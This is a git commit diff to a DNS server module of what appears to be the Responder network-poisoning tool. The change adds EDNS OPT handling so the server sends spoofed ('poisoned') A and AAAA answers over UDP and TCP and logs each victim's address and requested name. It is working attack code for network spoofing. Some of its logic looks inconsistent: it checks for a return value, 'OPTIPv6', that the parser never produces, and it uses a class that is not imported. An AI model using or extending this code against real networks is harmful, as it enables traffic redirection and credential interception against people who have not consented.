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added support for OPT EDNS

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lgandx 2021-12-21 22:39:02 -03:00
commit 5cf69228cf
2 changed files with 103 additions and 6 deletions
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42
servers/DNS.py
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@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@ -23,12 +23,15 @@ else:
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer.
if QueryTypeClass == "\x00\x01\x00\x01":
elif QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
elif QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
if QueryTypeClass == "\x00\x1c\x00\x01":
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@ -48,6 +51,13 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
@ -62,8 +72,15 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
raise
pass
# DNS Server TCP Class
@ -82,6 +99,13 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
@ -96,6 +120,12 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
raise
pass